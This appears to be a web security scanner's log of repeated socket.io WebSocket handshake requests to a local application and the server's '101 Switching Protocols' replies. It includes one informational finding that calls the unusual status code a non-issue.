b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fuF5n/ckeW93Cap62MrhG3fHI30=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pDMz-bpZa6-AeUmVAAAv HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: BLfNV5isvl+bpnpRz8a27A== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: jNkhHf5bBbTeePgsNQ/NhUb/fz0=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=opOJWnBBJLkwPe4mAAAi HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: VrVFugV2Aukrh0efkG1X3w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 4+nlkIAOcqhNDM/o0JmtzX60w18=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pNAlYv-EdMBG-2k7AAA5 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: v+qt4TSElgYX8p432o+/eg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: IBF4BnSo7Fc+gmXgPDEW9UtYuck=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Iuo7K8Z5vme3E2eAAAAw HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vQF3Kecba55xqGwvT7HoVA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: idQkc6pkHRfFte6u+2rQMtuHaPc=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=-4DUkcQ-C2OYk5e3AAAh HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: FCona3d7O47BE5jqjUCnSg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ALX7xChq+24aOI1K+Zm79yAg6JM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=D6BsQ9YEEIAHi7klAAAT HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: DsCCHssUcCRiBFv6QEBt4g== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rlFAYkfRxrdYJImOwYnTmNOrsuQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=m418o1AFhRVb78O_AAAV HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: Agb+lrfHtCGNBb2AJc5NmQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: x8iNHU+sNfi4CGf/xvdwQ+o7BzI=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=bt2Ikw1-G_o9CwZ2AAAJ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: dUrOAHDO24+4sLUZddjUng== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 3ANmdoM3fRiCCUWwy5hZpBxXgJU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9DHdvynFxeJObZNxAAAX HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: uWAparTK5BpXTX21zkt2HA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: U/tv2opJSz0vbUf7/TltxpsO+WE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fYYG5c4DvuNhzeJ6AAAl HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: kgJP0KCCQUDaKPe9/RHOaQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: WyKiDLMQpD0ytO6EZMAQgT9Rwdk=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=DvVsB3FDFqNS79iAAAAn HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: R8SEr/FF6uBKkM4SZmVM5w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: Aerjt5CKbvFZWzEP+1jvKYJS4ls=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Nmwg28JjqJGdEbC7AAAZ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vJ3zItdn31G0W5PaXgXq2g== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: KtySTylQfM0SOnxSCp13DPyQ+to=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fjx5JNc7YYp6Uz8sAAAL HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 2SsrT1oT9TFTRYbc2QFKTA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: uGutAgTlLFH3wUL8WqAnSJb810Y=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=1tzVy-pWLhJO9ZiiAAA7 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: AKWKLchEcdckUnSFInHMsw== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: aeNrA4ihdCk1ENIQiWZtgkSDXvo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pqp6FTtQJcpMAuqlAAAq HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: +7NhbVxjaq9gYTOtn4k12w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rXynPFmb5vOiTzBAV6w5oEcO5Fo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=SkGCFnuDPQMFQopNAAAN HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 8QLgQEGTlbTRleALPfCxDA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: P6t4it3qaMyBkVuIQST2zHPgsDM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=p55OCFEko0Ag2tScAAAb HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: RWFVEnG30N3rUn4k1sLKaA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rFD4ub7Hh/JuPsqt3VGXNgNkehE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=91ypgKpaYbU1Z7eeAAAp HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vf5QZ3OYQX7oGEDpvuVP6w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ibw/N18rPeO7Y4ihRsRtxHVXPiw=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=MBdmC-X0aTWvOgmzAAAz HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: YaBE4/Y/MLFHxFvoQHTgOQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 6CUF+7VlEynGmBbsTsGrs1qoNWM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=j9kTC6AVDBP8H_zVAAA0 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: r6pyWf30TJzHQOCoI+pIVw== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: tVxljvIm7TjqgAgfqoIc3T1fOoU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RzT3PKFkAaqFeDdTAAA9 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zwVEEO68XCvWXNht8jLLzg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: sYt0tF3t4gFN2NXW++QPAlC+w+g=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=LkPBvi-I7c9UKj9PAAAt HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 6+MZNMNe/h8uG6AwMoU3iQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 5aMEMdA8OTC8ZL94DirL9Y80eoY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RbpHQ0D7zwoVCfwNAAA_ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vxdtGspHY9epqZh3kLrOpQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: NZV+wCmbjVbgXhllWuaOXRnKNaQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Zay-C8DLcBhixppLAAAe HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 9idrT16MC9JJTCoyD2O63Q== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rRcATFLilnEkmTY34Dquzz3zK8A=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9FjsA81Qn8h-CVhyAAAd HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: oCb3WA8867KkhdEFJSvgCg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BnrYR3+A7F5LFA4/q1Qyqx63lRY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=5f_rxp2p0KU-WMd9AAAF HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 02KOa9ZtpAc+WUvdZU98pg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: SF7fuDUA8FBJEyvtH6h2UfKg1As=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=IDEJ4u5V47bd944UAAAQ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: y2F2U4LQiAiECKmkXsNqGg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BSYGP3XeTWl+bJZbu13FxsLOfa4=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Wrf5OJ_3ct9WbgczAAAP HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: NIjjhu4Aw+BIXv8MCqZUQQ== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fSrUCecZxW0ctuLK0IFJRu4WHf8=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fXSznTaMw0tCiVjrAAA3 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: fGmIPiKisASjgoxQd6FMKQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: hgenOxTN8nwOWXXK8vkDq9YaHbo=\r\n' b''
The remote web server sent 1 HTTP responses with the uncommon response status code 101 using "Switching Protocols" as message. The first ten URLs which sent the uncommon status code are: - http://localhost:3000/socket.io/
The server responded with a strange HTTP status code. This is a non-issue however exotic HTTP response status codes can provide useful insights into the behavior of the web application and assist with the information security analysis.
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Re-nNfDJbx5LKvZQAAAH HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zqdDko8eSrLeSopXWPHH0Q== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fuF5n/ckeW93Cap62MrhG3fHI30=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pDMz-bpZa6-AeUmVAAAv HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: BLfNV5isvl+bpnpRz8a27A== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: jNkhHf5bBbTeePgsNQ/NhUb/fz0=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=opOJWnBBJLkwPe4mAAAi HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: VrVFugV2Aukrh0efkG1X3w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 4+nlkIAOcqhNDM/o0JmtzX60w18=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pNAlYv-EdMBG-2k7AAA5 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: v+qt4TSElgYX8p432o+/eg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: IBF4BnSo7Fc+gmXgPDEW9UtYuck=\r\n' b''
